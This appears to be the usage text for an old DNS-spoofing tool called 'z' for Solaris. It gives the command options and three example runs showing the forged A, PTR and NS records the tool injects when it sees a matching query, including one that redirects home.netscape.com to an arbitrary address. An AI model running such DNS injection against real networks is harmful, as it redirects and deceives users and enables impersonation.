z 

works on Solaris 2.x.
requires libpcap-0.0.6.

usage:	z [-r [-n] | -f ] name_server ip_address fqdn
		-r answer to reverse dns query (default).
		-f answer to forward dns query.
		-n do not send additional A record.

% z -f ns 205.216.146.201 home.netscape.com
injects "home.netscape.com. IN A 205.216.146.201" whenever it reads the query
for ip address of home.netscape.com.

% z -r ns 1.2.3.4 super.secret.com.
injects
"4.3.2.1.in-addr.arpa IN PTR super.secret.com.
1.in-addr.arpa IN NS ns.secret.com.
super.secret.com IN A 1.2.3.4".

% z -r -n 1.2.3.4 super.secret.com.
injects
"4.3.2.1.in-addr.arpa IN PTR super.secret.com.
1.in-addr.arpa IN NS ns.secret.com.".
